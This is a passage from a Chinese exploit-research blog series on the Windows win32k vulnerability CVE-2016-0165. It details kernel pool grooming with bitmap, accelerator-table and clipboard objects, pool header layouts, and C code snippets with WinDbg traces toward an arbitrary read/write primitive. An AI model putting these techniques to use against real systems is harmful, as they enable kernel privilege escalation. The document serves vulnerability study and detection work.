作者:Leeqwind
作者博客:https://xiaodaozhi.com/exploit/42.html
本文将对 CVE-2016-0165 (MS16-039) 漏洞进行一次简单的分析,并尝试构造其漏洞利用和内核提权验证代码,以及实现对应利用样本的检测逻辑。分析环境为 Windows 7 x86 SP1 基础环境的虚拟机,配置 1.5GB 的内存。
本文分为三篇:
从 CVE-2016-0165 说起:分析、利用和检测(上)
从 CVE-2016-0165 说起:分析、利用和检测(中)
从 CVE-2016-0165 说起:分析、利用和检测(下)
前面验证了漏洞的触发机理,接下来将通过该漏洞实现任意地址读写的利用目的。
AddEdgeToGET
根据前面的章节,实现触发该漏洞并引发后续的 OOB 导致系统 BSOD 发生,但由于函数代码逻辑中 cCurves
等相关域的值和实际分配的用来容纳 EDGE
表项的缓冲区大小的差异实在太大,在 AddEdgeToGET
函数中会进行极大范围内的内存访问(超过 4GB 地址空间范围)。不利于在漏洞触发后使系统平稳过渡,好在 AddEdgeToGET
函数中存在忽略当前边而直接返回的判断逻辑:
if ( pClipRect ) { if ( iYEnd < pClipRect->top || iYStart > pClipRect->bottom ) return pFreeEdge; if ( iYStart < pClipRect->top ) { bClip = 1; iYStart = pClipRect->top; } if ( iYEnd > pClipRect->bottom ) iYEnd = pClipRect->bottom; } ipFreeEdge_Y = (iYStart + 15) >> 4; *((_DWORD *)pFreeEdge + 3) = ipFreeEdge_Y; *((_DWORD *)pFreeEdge + 1) = ((iYEnd + 15) >> 4) - ipFreeEdge_Y; if ( ((iYEnd + 15) >> 4) - ipFreeEdge_Y <= 0 ) return pFreeEdge;
清单 5-1 函数 AddEdgeToGET 中忽略边的判断逻辑
函数中存在两处跳过当前边而直接返回的判断逻辑,返回时由于忽略当前边的数据,所以 pFreeEdge
指针不向后移。第一处返回逻辑可以不做关注,因为 pClipRect
是 AddEdgeToGET
函数的最后 1 个参数,该参数同样作为最后 1 个参数从函数 RGNMEMOBJ::vCreate
和 vConstructGET
直接传递,而在 NtGdiPathToRegion
函数中调用 RGNMEMOBJ::vCreate
时该参数传值为 0
,如清单 2-1 中所示,所以不可能命中条件。第二处返回逻辑的判断条件是:当前两点描述的边中,结束坐标点的 Y 轴坐标是否与起始坐标点的 Y 轴坐标相等;如果 Y 轴坐标相等,则忽略这条边,直接返回当前 pFreeEdge
指针指向的地址。此处的右移 4
比特位只是在还原之前在 EPATHOBJ::createrec
和 EPATHOBJ::growlastrec
函数中存储坐标点时左移 4
比特位的数值。
因此可以利用函数的这个特性,通过修改用户进程中传入的各坐标点数据,可以控制缓冲区中 EDGE
元素使用的个数。但由于缓冲区中的 EDGE
元素是逐个写入的,因此通过控制各坐标点的 Y 轴坐标值只能控制从起始位置开始连续写入的 EDGE
个数,而不能控制跳过某些元素节点。
接下来就是最关键且最复杂的部分:内核内存布局。
内核内存布局
内核池风水技术是用来控制内核内存布局的关键技术。通过在分配关键的内核对象之前,首先分配和释放特定长度和数量的其他对象,使内核内存首先处于一个确定的状态,来确保在分配关键的内核对象时,能够被系统内存管模块分配到我们所希望其分配到的某些位置,例如接近某些可控对象的位置。后续利用漏洞通过巧妙使用某些“读写原语”对所分配的关键内核对象后面的内存区域进行操作,以控制原本不能控制的相邻对象的成员数据,这些数据将作为后续利用操作的重要节点。
在着手实施内核内存布局之前,有必要首先了解一下 Windows 的内存池分配机制。在 Windows 系统中,调用 ExAllocatePoolWithTag
分配不超过 0x1000
字节长度的池内存块时,会使用到 POOL_HEADER
结构,作为分配的池内存块的头部。在当前系统环境下 POOL_HEADER
结构的定义:
kd> dt _POOL_HEADER nt!_POOL_HEADER +0x000 PreviousSize : Pos 0, 9 Bits +0x000 PoolIndex : Pos 9, 7 Bits +0x002 BlockSize : Pos 0, 9 Bits +0x002 PoolType : Pos 9, 7 Bits +0x000 Ulong1 : Uint4B +0x004 PoolTag : Uint4B +0x004 AllocatorBackTraceIndex : Uint2B +0x006 PoolTagHash : Uint2B
清单 5-2 结构 POOL_HEADER 的定义
在 32 位 Windows 系统环境下 POOL_HEADER
体现在返回值指针向前 8
字节的位置:
win32k!RGNMEMOBJ::vCreate+0xc5: 933a3ffc ff1550005293 call dword ptr [win32k!_imp__ExAllocatePoolWithTag (93520050)] kd> dc esp l4 93d1b400 00000021 00000b68 6e677247 00000005 !...h...Grgn.... kd> p win32k!RGNMEMOBJ::vCreate+0xcb: 933a4002 8b5510 mov edx,dword ptr [ebp+10h] kd> r eax eax=fd674180 kd> !pool fd674180 Pool page fd674180 region is Paged session pool fd674000 is not a valid large pool allocation, checking large session pool... fd674158 size: 8 previous size: 0 (Allocated) Frag fd674160 size: 18 previous size: 8 (Free) Free *fd674178 size: b70 previous size: 18 (Allocated) *Grgn Pooltag Grgn : GDITAG_REGION, Binary : win32k.sys fd674ce8 size: 318 previous size: b70 (Allocated) Gfnt kd> dc fd674178 l4 fd674178 476e0003 6e677247 00000000 00000000 ..nGGrgn........
清单 5-3 分配内存池时 POOL_HEADER 结构的位置
在调用 ExFreePoolWithTag
函数释放先前分配的池内存块时,系统会校验目标内存块和其所在内存页中相邻的块的 POOL_HEADER
结构;如果检测到块的 POOL_HEADER
被破坏,将会抛出导致系统 BSOD 的 BAD_POOL_HEADER
异常。但在一种情况下例外:那就是如果该池内存块位于所在的内存页的末尾,那么在这次 ExFreePoolWithTag
函数调用期间将不会对相邻内存块进行这个校验。
根据前面的章节可知,漏洞所在函数 RGNMEMOBJ::vCreate
中分配了用于存储中间 EDGE
数据的内存池块,并在函数结束时释放了分配的内存块,所以在这种情况下,就肯定会面临释放内存块时校验相邻 POOL_HEADER
的问题。而如果在 RGNMEMOBJ::vCreate
函数中分配内存块时,能使其分配的内存块处于所在内存页的末尾,后续的 OOB 将会发生在下一个内存页中,虽然会破坏下一内存页中的内存块,但至少在当前函数调用期间释放内存块时不去校验相邻块的 POOL_HEADER
结构,问题就得以解决。
图 5-1 篡改下一个内存页起始内存块的数据
接下来需要找到最佳的内存布局方式。函数 RGNMEMOBJ::vCreate
中所分配的内存块的 PoolType
参数是 0x21
属于分页会话池(Paged session pool)类型,因此要找出能够分配可控大小的此类型内存块以进行内存布局的其他函数。
创建位图对象
在本文中考虑通过调用 gdi32!CreateBitmap
函数在内核分配合适的位图表面 SURFACE
对象和位图像素数据,一是由于位图表面对象便于控制大小,二是因为管理位图的 SURFACE
对象中存在一些便于后续展开内核利用的成员域。SURFACE
类是内核中所有位图表面对象的管理对象类,其成员变量 SURFOBJ so
是 SURFOBJ
结构体实例,存在于 SURFACE+0x10
字节偏移的位置。根据相关文档显示,任何内核 GDI 对象类的基类都是一个称作 _BASEOBJECT
的结构,SURFACE
对象也不例外。该结构在 32 位 Windows 系统环境下占用 0x10
字节的内存空间,定义如下:
typedef struct _BASEOBJECT { HANDLE hHmgr; PVOID pEntry; LONG cExclusiveLock; PW32THREAD Tid; } BASEOBJECT, *POBJ;
清单 5-4 结构体 _BASEOBJECT 定义
结构体 SURFOBJ
的定义如下:
typedef struct tagSIZEL { LONG cx; LONG cy; } SIZEL, *PSIZEL; typedef struct _SURFOBJ { DHSURF dhsurf; //<[00,04] 04 HSURF hsurf; //<[04,04] 05 DHPDEV dhpdev; //<[08,04] 06 HDEV hdev; //<[0C,04] 07 SIZEL sizlBitmap; //<[10,08] 08 09 ULONG cjBits; //<[18,04] 0A PVOID pvBits; //<[1C,04] 0B PVOID pvScan0; //<[20,04] 0C LONG lDelta; //<[24,04] 0D ULONG iUniq; //<[28,04] 0E ULONG iBitmapFormat; //<[2C,04] 0F USHORT iType; //<[30,02] 10 USHORT fjBitmap; //<[32,02] xx } SURFOBJ;
清单 5-5 结构体 SURFOBJ 定义
函数 CreateBitmap
的原型如下:
HBITMAP CreateBitmap( _In_ int nWidth, _In_ int nHeight, _In_ UINT cPlanes, _In_ UINT cBitsPerPel, _In_ const VOID *lpvBits );
该函数用来创建指定宽度、高度、和颜色格式(调色盘和像素位)的位图。位图在内核中作为一种 GDI 对象,使用关联的表面 SURFACE
类对象作为管理对象。通过适当指定前 4
个参数,可精确控制分配的内核内存块的大小;由于此处需要在内核中分配像素数据,所以参数 lpvBits
不做考虑,直接传 NULL
。最终分配内存是通过在 win32k!Win32AllocPool
函数中调用 ExAllocatePoolWithTag
进行的。调用路径如下:
图 5-2 从函数 CreateBitmap 到 ExAllocatePoolWithTag 的调用路径
在 GreCreateBitmap
函数中,根据传入的 cPlanes
和 cBitsPerPel
参数确定位图的像素位类型:
if ( v5 <= 1 ) { v6 = 1; v13 = hpalMono; goto LABEL_18; } if ( v5 <= 4 ) { v9 = 2; LABEL_16: v6 = v9; goto LABEL_18; } if ( v5 <= 8 ) { v9 = 3; goto LABEL_16; } if ( v5 <= 16 ) { v9 = 4; goto LABEL_16; } v6 = (v5 > 24) + 5;
清单 5-6 函数 GreCreateBitmap 确定位图的位数类型
确定的位图像素位类型接下来在 SURFMEM::bCreateDIB
函数中被用来确定位图数据扫描线的长度。在这里需要理解扫描线的概念:在 Windows 内核中处理位图像素数据时,通常是以一行作为单位进行的,像素的一行被称为扫描线,而扫描线的长度就表示的是在位图数据中向下移动一行所需的字节数。
位图数据扫描线的长度是由位图像素位类型和位图像素宽度决定的:
v12 = *(_DWORD *)a2 - 1; v40 = 1; v44 = 0; switch ( v12 ) { case 0: v13 = *((_DWORD *)a2 + 1); if ( v13 >= 0xFFFFFFE0 ) return 0; v14 = (struct _DEVBITMAPINFO *)(((v13 + 31) >> 3) & 0x1FFFFFFC); goto LABEL_4; case 1: v15 = *((_DWORD *)a2 + 1); if ( v15 >= 0xFFFFFFF8 ) return 0; v14 = (struct _DEVBITMAPINFO *)(((v15 + 7) >> 1) & 0x7FFFFFFC); goto LABEL_4; case 2: v16 = *((_DWORD *)a2 + 1); if ( v16 >= 0xFFFFFFFC ) return 0; v17 = v16 + 3; goto LABEL_9; case 3: v18 = *((_DWORD *)a2 + 1); if ( v18 >= 0xFFFFFFFE || v18 + 1 >= 0x7FFFFFFF ) return 0; v17 = 2 * v18 + 2; goto LABEL_9; case 4: v19 = *((_DWORD *)a2 + 1); if ( v19 >= 0x55555554 ) return 0; v17 = 3 * (v19 + 1); LABEL_9: v14 = (struct _DEVBITMAPINFO *)(v17 & 0xFFFFFFFC); goto LABEL_4; ... }
清单 5-7 函数 SURFMEM::bCreateDIB 用位图类型确定位图扫描线的长度
位图扫描线长度和位图像素高度的乘积作为该位图数据缓冲区的大小。在调用 CreateBitmap
传入参数时,如果 cPlanes
调色盘参数指定为 1
且 cBitsPerPel
像素位参数指定为 8
位,则内核中计算分配的位图数据缓冲区大小的计算公式:
size = ((cxBitmap + 3) & ~3) * cyBitmap;
这样的话,当像素宽度参数为 4
的倍数时,像素宽度和高度参数的乘积将直接等于内核中分配的位图像素数据缓冲区的所需大小。这是由于虽然 8
位的位图像素点存储占用 1
字节,但位图数据扫描线长度是按照 4
字节对齐的,所以不足 4
字节的需补齐 4
字节。而对于 32
位像素点的位图,由于单个像素点存储占用 32
位即 4
字节内存空间,则位图扫描线的长度就等于位图像素宽度的 4
倍,分配像素点数据缓冲区大小的计算公式变成:
size = (cxBitmap << 2) * cyBitmap;
位图数据扫描线的长度以 4
字节为单位进行对齐,各种位图像素格式的扫描线对齐方式如下:
图 5-3 各种位图像素格式的扫描线对齐方式
根据代码逻辑显示,当位图表面对象的总大小在 0x1000
字节之内的话,分配内存时,将分配对应位图像素数据大小加 SURFACE
管理对象大小的缓冲区,直接以对应的 SURFACE
管理对象作为缓冲区头部,位图像素数据紧随其后存储。在当前系统环境下,SURFACE
对象的大小为 0x154
字节。
对象分配成功后,函数初始化各个成员的值时,将把位图像素点数据占用总字节数存储在 SURFACE+0x28
字节偏移的成员(即 SURFACE->so.cjBits
成员),把位图像素数据的起始位置存储在 SURFACE+0x2C
字节偏移的成员(即 SURFACE->so.pvBits
成员)中,并在随后将 pvBits
的值更新到 +0x30
字节偏移的成员(即 SURFACE->so.pvScan0
成员)中:
if ( BaseAddress || Object ) *((_DWORD *)*v9 + 0xB) = BaseAddress; else *((_DWORD *)*v9 + 0xB) = (char *)*v9 + SURFACE::tSize; v33 = *(_DWORD *)v10; if ( *(_DWORD *)v10 != 8 && v33 != 7 && v33 != 9 && v33 != 10 ) { *((_DWORD *)*v9 + 0xA) = (_DWORD)a2 * *((_DWORD *)v10 + 2); if ( !(*((_BYTE *)v10 + 0x14) & 1) ) { ... } *((_DWORD *)*v9 + 0xD) = a2; goto LABEL_76; } ... { LABEL_76: *((_DWORD *)*v9 + 0xC) = *((_DWORD *)*v9 + 0xB); goto LABEL_78; }
清单 5-8 函数 SURFMEM::bCreateDIB 初始化 SURFOBJ 关键成员
位图数据扫描线的长度被存储在 +0x34
字节偏移的成员(即 SURFACE->so.lDelta
成员)中。
这样一来,成员 pvScan0
将指向当前位图表面对象的像素点数据缓冲区的起始位置。在后续对位图像素点进行读写访问时,系统位图解析模块将以该对象的 pvScan0
成员存储的地址作为像素点数据区域起始地址。
图 5-4 成员 pvScan0 指向像素点数据区域起始地址
由于太小的内存块在分配时被安置在随机区域的可能性大很多,所以为了能使 RGNMEMOBJ::vCreate
函数分配的内存块能更大概率地被分配在我们精心安排的空隙中,现在将其分配的内存大小稍作提升,从 0x18
提升到 0x68
字节,加上 POOL_HEADER
结构的 8
字节,将会占用 0x70
字节的池内存空间。这样一来,画线数目就需要从 0x6666665
提升到 0x6666667
条。
在此处打算通过多次调用 CreateBitmap
函数分配大量的 0xF90
大小的内存块,以留下足够多的 0x70
字节间隙作为 RGNMEMOBJ::vCreate
分配 0x70
字节内存块时的空间候选。根据 Windows 内核池内存分配逻辑,在分配不超过内存页大小的内存块时,分配的内存块越大,被分配到内存页起始位置的概率越大(但并不是绝对的,只是概率增大;只要存在恰好容纳该大小内存块的内存空隙,内存块就会被分配在其中的)。在前面的段落中提到,位图表面对象的像素数据大小不超过 0x1000
字节时,分配的内存将 SURFACE
类对象包含在内并放置在缓冲区开始位置,占据 0x154
字节的内存空间。除去池内存块的 POOL_HEADER
头部结构的 8
字节大小和 SURFACE
类对象的大小,实际需要分配的位图像素数据的大小为 0xE34
字节。计算后得到如下参数值:
CreateBitmap(0xE34, 0x01, 1, 8, NULL);
编译后实际执行时可以观察到,函数 AllocateObject
中分配的对象内存被分配在一个内存页的起始位置,内存块的大小为 0xF90
字节,其后留有 0x70
字节的空闲内存空间:
win32k!SURFMEM::bCreateDIB+0x25c: 94190172 e8c51cffff call win32k!AllocateObject (94181e3c) kd> dc esp l4 97bb7b18 00000f88 00000005 00000001 00000001 ................ kd> p win32k!SURFMEM::bCreateDIB+0x261: 94190177 8903 mov dword ptr [ebx],eax kd> !pool eax Pool page ffa0e008 region is Paged session pool *ffa0e000 size: f90 previous size: 0 (Allocated) *Gh15 Pooltag Gh15 : GDITAG_HMGR_SURF_TYPE, Binary : win32k.sys ffa0ef90 size: 70 previous size: f90 (Free) ....
清单 5-9 函数 AllocateObject 分配的对象内存的内存块位置和大小
接下来就是执行前面漏洞验证章节类似的代码以触发漏洞。但在笔者实际测试的时候发现,函数 RGNMEMOBJ::vCreate
调用 ExAllocatePoolWithTag
分配的内存块并不会被安置在我们所预留的大量的 0x70
字节大小的空间中,而仍旧被分配在了一些随机的空隙。这是由于系统中原本就恰好存在一些 0x70
字节的空隙,这样一来就需要提前将这些空隙填充,以迫使漏洞关键缓冲区被分配在我们预留的空隙中。
原本打算继续通过调用传入特定参数的 CreateBitmap
函数填充系统原有的 0x70
字节的空隙,但由于 SURFACE
头部结构就已经占据了 0x154
字节的大小,所以未能成行。在这里参考一些其他的分析文章,转为使用 CreateAcceleratorTable
函数。通过调用比 CreateBitmap
更多次数的 CreateAcceleratorTableA
函数创建 AcceleratorTable
内核对象以填充内存空隙、然后在其中制造空洞的方式,为使 RGNMEMOBJ::vCreate
分配的内存块能够命中我们安排的空洞提升更大的概率。
创建快捷键对应表
函数 CreateAcceleratorTableA/W
用来在内核中创建快捷键对应表。该函数存在 LPACCEL lpaccl
和 int cAccel
两个参数。参数 lpaccl
作为指向 ACCEL
结构体类型数组的指针,cAccel
表示数组的元素个数。结构体 ACCEL
的定义如下:
typedef struct tagACCEL { BYTE fVirt; WORD key; WORD cmd; } ACCEL, *LPACCEL;
清单 5-10 结构体 ACCEL 的定义
该结构体用于定义使用在快捷键对应表中的快捷键,单个元素占用 6
字节内存空间。通过函数 CreateAcceleratorTableA
分配内核池内存块的调用路径:
图 5-5 函数 CreateAcceleratorTable 分配内核池内存块的调用路径
在函数 win32k!NtUserCreateAcceleratorTable
中将参数 cAccel
乘结构体 ACCEL
的大小 0x6
并作为参数 a2
传入 _CreateAcceleratorTable
函数;在 CreateAcceleratorTable
函数中参数 a2
被增加 0x12
,增加后的数值作为分配对象的完整大小并被传入 HMAllocObject
函数调用。0x12
是管理 AcceleratorTable
数据的结构体 ACCELTABLE
的大小。随后在 ExAllocatePoolWithQuotaTag
函数中进行一系列参数变换并最终调用 ExAllocatePoolWithTag
函数分配内存块。
注意到在 Win32AllocPoolWithQuota
函数中调用 nt!ExAllocatePoolWithQuotaTag
函数时传入的 PoolType
参数为 0x29
,该数值是 0x21
与 0x08
进行逻辑或运算后的数值。0x08
在此表示 POOL_QUOTA_FAIL_INSTEAD_OF_RAISE
标志位,用于在调用分配内核池内存块的函数时,当内存分配失败,指示函数返回 NULL
而不是抛出异常。
bRaiseFail = 1; if ( PoolType & 8 ) { bRaiseFail = 0; PoolType &= 0xFFFFFFF7; } _Process = KeGetCurrentThread()->ApcState.Process; _PoolType = PoolType + 8; if ( NumberOfBytes > 0xFF4 || _Process == PsInitialSystemProcess ) _PoolType = (unsigned __int8)_PoolType - 8; else NumberOfBytes += 4; buffer = ExAllocatePoolWithTag(_PoolType, NumberOfBytes, Tag);
清单 5-11 函数 ExAllocatePoolWithQuotaTag 执行参数变换
当分配的内存块大小不超过 0xFF4
字节时,函数 ExAllocatePoolWithQuotaTag
在调用 ExAllocatePoolWithTag
分配内存之前会将内存块大小参数增加 4
字节。这样一来,我们在调用 CreateAcceleratorTableA
函数时,只需给参数 cAccel
指定 0x0D
数值,并为参数 lpaccl
指向的缓冲区安排足够个数的元素,那么在内核中分配的内存块包括 POOL_HEADER
结构在内将是 0x70
字节大小,末尾不足 8
字节的会补齐 8
字节。
nt!ExAllocatePoolWithQuotaTag+0x52: 83eb4bf1 e80f940700 call nt!ExAllocatePoolWithTag (83f2e005) kd> dd esp l4 98bafb40 00000029 00000064 63617355 00000008 kd> p nt!ExAllocatePoolWithQuotaTag+0x57: 83eb4bf6 8bf0 mov esi,eax kd> !pool eax Pool page ff4aa5d8 region is Paged session pool ff4aa000 is not a valid large pool allocation, checking large session pool... ff4aa5c8 size: 8 previous size: 0 (Allocated) Frag *ff4aa5d0 size: 70 previous size: 8 (Allocated) *Usac Process: 87601588 Pooltag Usac : USERTAG_ACCEL, Binary : win32k!_CreateAcceleratorTable ff4aa640 size: 320 previous size: 70 (Allocated) Gh15 ff4aa960 size: 6a0 previous size: 320 (Allocated) Gh15
清单 5-12 分配的 AcceleratorTable 池内存块
内存块空洞
这样的话,通过多次的 CreateAcceleratorTableA
函数调用正好会填充大量的 0x70
字节大小的内存空洞。需要注意的是,这些多次调用的 CreateAcceleratorTableA
函数调用需要放在通过 CreateBitmap
函数以分配 0xF90
字节的内核内存块的代码逻辑之后执行,以便同时填充这些位图表面对象所在的内存页中预留的 0x70
空隙。随后通过 DestroyAcceleratorTable
函数释放掉中间一部分 AcceleratorTable
对象,为 RGNMEMOBJ::vCreate
函数留下足够多的机会。
图 5-6 内核内存布局的内存块空洞预留给漏洞函数
制造 0x70
字节内存块空洞的验证代码如下:
for (LONG i = 0; i < 5000; i++) { hbitmap[i] = CreateBitmap(0xE34, 0x01, 1, 8, NULL); } for (LONG i = 0; i < 7000; i++) { ACCEL acckey[0x0D] = { 0 }; hacctab[i] = CreateAcceleratorTableA(acckey, 0x0D); } for (LONG i = 2000; i < 4000; i++) { DestroyAcceleratorTable(hacctab[i]); hacctab[i] = NULL; }
清单 5-13 通过 AcceleratorTable 填充间隙并制造空洞的验证代码片段
编写代码编译后在环境中执行,观测到 RGNMEMOBJ::vCreate
函数分配的内存块成功命中在我们安排的内存间隙中,其相邻的内存页也都符合我们先前构造的内存布局:
win32k!RGNMEMOBJ::vCreate+0xc5: 93fc3ffc ff1550001494 call dword ptr [win32k!_imp__ExAllocatePoolWithTag (94140050)] kd> dc esp l4 980a9828 00000021 00000068 6e677247 0f010743 !...h...GrgnC... kd> p win32k!RGNMEMOBJ::vCreate+0xcb: 93fc4002 8b5510 mov edx,dword ptr [ebp+10h] kd> !pool eax Pool page cae5ef98 region is Paged session pool cae5e000 size: f90 previous size: 0 (Allocated) Gh15 *cae5ef90 size: 70 previous size: f90 (Allocated) *Grgn Pooltag Grgn : GDITAG_REGION, Binary : win32k.sys kd> !pool (eax&fffff000)+0x1000 Pool page cae5f000 region is Paged session pool *cae5f000 size: f90 previous size: 0 (Allocated) *Gh15 Pooltag Gh15 : GDITAG_HMGR_SURF_TYPE, Binary : win32k.sys cae5ff90 size: 70 previous size: f90 (Free ) Usac Process: 876936d8 kd> !pool (eax&fffff000)-0x1000 Pool page cae5d000 region is Paged session pool *cae5d000 size: f90 previous size: 0 (Allocated) *Gh15 Pooltag Gh15 : GDITAG_HMGR_SURF_TYPE, Binary : win32k.sys cae5df90 size: 70 previous size: f90 (Free) Usac
清单 5-14 函数 RGNMEMOBJ::vCreate 分配的内存块命中内存间隙
POOL_HEADER
在这里观测内存块的 POOL_HEADER
结构各域的值:
kd> dt _POOL_HEADER cae5ef90 nt!_POOL_HEADER +0x000 PreviousSize : 0y111110010 (0x1f2) +0x000 PoolIndex : 0y0000000 (0) +0x002 BlockSize : 0y000001110 (0xe) +0x002 PoolType : 0y0100011 (0x23) +0x000 Ulong1 : 0x460e01f2 +0x004 PoolTag : 0x6e677247 +0x004 AllocatorBackTraceIndex : 0x7247 +0x006 PoolTagHash : 0x6e67
清单 5-15 当前内存块的 POOL_HEADER 结构各域的值
需要关注的是 PreviousSize
/ PoolIndex
/ BlockSize
/ PoolType
/ PoolTag
五个成员域。根据本章节前面的内容可知,POOL_HEADER
结构的成员域 PreviousSize
和 BlockSize
的长度都是 9
比特位,而 PoolIndex
和 PoolType
都是 7
比特位。成员 PoolTag
是 32
位的整数,用于表示当前内存块的 Tag
标记。成员 PreviousSize
和 BlockSize 中存储的数值都需要左移 3
比特位才能与实际大小对应。在这里 PreviousSize
的值 0x1F2
左移 3
位之后是 0xF90 表示前一个内存块的大小是 0xF90
字节;而 BlockSize
的值 0xE
左移 3
位之后是 0x70
表示当前内存块的大小是 0x70
字节。
接下来观测下一内存页起始内存块的 POOL_HEADER
结构,以便在后续的操作中对被破坏 POOL_HEADER
结构进行修复:
kd> dt _POOL_HEADER cae5e000 nt!_POOL_HEADER +0x000 PreviousSize : 0y000000000 (0) +0x000 PoolIndex : 0y0000000 (0) +0x002 BlockSize : 0y111110010 (0x1f2) +0x002 PoolType : 0y0100011 (0x23) +0x000 Ulong1 : 0x47f20000 +0x004 PoolTag : 0x35316847 +0x004 AllocatorBackTraceIndex : 0x6847 +0x006 PoolTagHash : 0x3531
清单 5-16 下一内存块的 POOL_HEADER 结构各域的值
下一个内存页起始内存块是我们之前构造内存布局时分配的其中之一的位图表面对象。由于是内存页的起始内存块,因此其 POOL_HEADER
结构的 PreviousSize
成员值为 0
;成员 BLockSize
的值 0x1F2
表示当前内存块的大小是 0xF90
字节;成员 PoolType
的值表示内存块类型和一些属性标志位,此处值为 0x23
。成员 PoolIndex
具体作用暂时为知,但根据观测多个位图表面对象内存块发现该值都为 0,因此在后续的修复过程中直接对该值赋值为 0
即可。
到目前为止已经能够控制 RGNMEMOBJ::vCreate
函数将内存块分配在指定的内存页末尾。接下来将研究如何利用由溢出漏洞导致的后续 OOB 漏洞篡改指定对象成员域达到任意地址读写的目的。
溢出覆盖内存块
我对验证代码进行特别修改,将传入 PolylineTo
函数调用的坐标点序列的 Y 轴坐标值都修改成相同的,并只单独修改前 6
个坐标点的 Y 轴为其他互不相同的值。这样一来将只有前 7
个 EDGE 元素会被写入 RGNMEMOBJ::vCreate
函数分配的内存缓冲区;内存缓冲区的大小为 0x68
字节,因此只能容纳不到 3
个 EDGE
元素,后续的写入将发生在下一内存页的起始内存块,即前面分配的其中之一的位图表面对象缓冲区。在这里我们希望发生的 OOB 能够覆盖 SURFOBJ
结构的 sizlBitmap
或 pvScan0
域。域 sizlBitmap
存储位图的宽和高的大小,成员域 pvScan0
指向位图像素数据的起始地址。
通过编译代码在环境中执行后观测到:
win32k!RGNMEMOBJ::vCreate+0xc5: 939e3ffc ff155000b693 call dword ptr [win32k!_imp__ExAllocatePoolWithTag (93b60050)] kd> dd esp l4 a129f828 00000021 00000068 6e677247 0d0106fb kd> p win32k!RGNMEMOBJ::vCreate+0xcb: 939e4002 8b5510 mov edx,dword ptr [ebp+10h] kd> r eax eax=cae61f98 kd> dc cae62000 l 10 cae62000 47f20000 35316847 01050fc3 00000000 ...GGh15........ cae62010 00000000 00000000 00000000 01050fc3 ................ cae62020 00000000 00000000 00000e34 00000001 ........4....... cae62030 00000e34 cae6215c cae6215c 00000e34 4...\!..\!...... kd> p ... kd> p win32k!RGNMEMOBJ::vCreate+0x1d7: 939e410e e8a7000d00 call win32k!vConstructGET (93ab41ba) kd> p win32k!RGNMEMOBJ::vCreate+0x1dc: 939e4113 8365cc00 and dword ptr [ebp-34h],0 kd> dc cae62000 l 10 cae62000 00000100 00000001 00000001 00000001 ................ cae62010 cae63668 00000001 00000003 00000005 h6.............. cae62020 ffffffff 00000000 00000100 00000001 ................ cae62030 00000001 00000001 cae63640 00000001 ........@6...... cae62040 00000005 00000006 ffffffff 00000000 ................ cae62050 00000100 00000001 00000001 00000001 ................ cae62060 a129fb60 00000001 00000006 00000007 `.)............. cae62070 ffffffff 00000000 00000100 00000001 ................
清单 5-17 函数 vConstructGET 将下一内存块数据覆盖
下一内存页的起始内存块中的数据,包括 POOL_HEADER
结构在内,已被 vConstructGET
函数调用中的执行逻辑所覆盖。从 0xcae62008
地址开始是管理位图表面对象的 SURFACE
对象。根据偏移计算得知,域 sizlBitmap
位于 0xcae62028
位置,域 pvScan0
位于 0xcae62038
位置。两者的值都没有被复写成理想的值,但是注意到有几处地址的数据被修改成 0xFFFFFFFF
这样的特殊值。
这样一来就不能使位图表面对象直接作为内存页的起始位置,需要在 EDGE
缓冲区内存块和位图表面对象内存块之间增加“垫片”,以使 0xFFFFFFFF
这样的特殊值能被覆盖到我们特别关注的域中。
垫片
在分配快捷键对应表 AcceleratorTable
序列之后,通过调用 DeleteObject
函数释放掉前面分配的所有位图对象。此时会留出大量的 0xF90
大小的内存空隙。接下来需要分配用作垫片的缓冲区内存块,使其间隔在 EDGE
缓冲区内存块和用于覆盖篡改的位图表面对象内存块之间。该内存块需要拥有较大的大小,以使其尽可能地被安排在我们刚刚留出的 0xF90
内存空隙的开始位置。分配用作垫片的缓冲区可以用很多方式,看个人意愿,在本分析中选择通过设置剪贴板数据的方式:
VOID CreateClipboard(DWORD Size) { PBYTE Buffer = (PBYTE)malloc(Size); FillMemory(Buffer, Size, 0x41); Buffer[Size - 1] = 0x00; HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, (SIZE_T)Size); CopyMemory(GlobalLock(hMem), Buffer, (SIZE_T)Size); GlobalUnlock(hMem); SetClipboardData(CF_TEXT, hMem); }
清单 5-18 创建剪贴板数据对象的验证代码片段
设置剪贴板数据的函数 SetClipboardData
用于将数据以指定剪贴板格式放置在剪贴板中,其第二个参数 HANDLE hMem
接受指向某个内存区的句柄。在该函数中获取句柄参数 hMem
指向内存区的大小,并调用 ConvertMemHandle
未导出函数,随后在 ConvertMemHandle
函数中调用 win32k
中的 NtUserConvertMemHandle
系统调用。
在 win32k!NtUserConvertMemHandle
调用的 _ConvertMemHandle
函数中通过 HMAllocObject
函数分配用户对象,分配的对象大小为传入的数据大小参数加 0x0C 字节的结构体 CLIPDATA
的大小。在 HMAllocObject
函数中选择不适用进程配额的方式分配内存,所以不会给请求缓冲区大小增加 4
字节,所以最终分配的内存块大小是传入的数据大小参数加 0x14
字节,内存块类型为分页会话池。因此,为了分配 0xB70
大小的内存块,在用户进程中传入 SetClipboardData
函数调用的内存区句柄指向的内存区的大小应该是 0xB5C
字节。
v2 = a2 + 0xC; if ( a2 >= 0xFFFFFFF4 ) v2 = 12; if ( v2 >= a2 && (v3 = HMAllocObject(0, 0, 6, v2), (v4 = (int *)v3) != 0) ) { *(_DWORD *)(v3 + 8) = a2; memcpy((void *)(v3 + 0xC), a1, a2); result = *v4; }
清单 5-19 函数 ConvertMemHandle 调用 HMAllocObject 以分配对象
在 ConvertMemHandle
函数调用返回后,函数 SetClipboardData
将返回的剪贴板数据对象的句柄传入 NtUserSetClipboardData
函数调用中,以将分配的剪贴板数据对象设置进剪贴板。
LABEL_41: v3 = (HANDLE)ConvertMemHandle(hMem, 1); v12 = 1; LABEL_29: if ( !v3 ) return 0; LABEL_2: RtlEnterCriticalSection(&gcsClipboard); v10 = v12; v11 = 1; if ( !NtUserSetClipboardData(uFormat, v3, &v10) ) { RtlLeaveCriticalSection(&gcsClipboard); return 0; }
清单 5-20 函数 SetClipboardData 调用 NtUserSetClipboardData 以设置剪贴板
在不调用函数 OpenCliboard
并清空剪贴板数据的前提下调用 SetClipboardData
函数会发生潜在的内存泄露,被分配的剪贴板数据对象在当前活跃会话生命周期内将会一直存在于分页会话池当中。但正因为这个特性,在后续通过漏洞溢出覆盖该对象的数据结构之后,不用担心在会在发生销毁对象时触发异常的问题,内存泄露的问题只能作为该验证代码的一个小缺憾。
图 5-7 创建剪贴板数据对象作为垫片
